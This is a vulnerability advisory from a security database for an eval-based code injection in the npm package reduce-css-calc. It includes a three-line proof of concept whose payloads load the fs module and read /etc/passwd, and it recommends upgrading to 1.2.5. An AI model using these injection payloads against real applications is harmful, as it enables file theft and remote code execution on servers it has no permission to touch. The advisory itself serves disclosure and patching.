Lucene search

K
osvGoogleOSV:GHSA-4662-J96G-MV46
HistoryJun 07, 2018 - 7:43 p.m.

Arbitrary Code Injection in reduce-css-calc

2018-06-0719:43:06
Google
osv.dev
4

0.002 Low

EPSS

Percentile

56.7%

Affected versions of reduce-css-calc pass input directly to eval. If user input is passed into the calc function, this may result in cross-site scripting on the browser, or remote code execution on the server.

Proof of Concept

const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc(                       (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc(                       (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc(                       (fs['readFileSync']("/etc/passwd", "utf-8")))`));

Recommendation

Update to version 1.2.5 or later.

CPENameOperatorVersion
reduce-css-calclt1.2.5

0.002 Low

EPSS

Percentile

56.7%

Related for OSV:GHSA-4662-J96G-MV46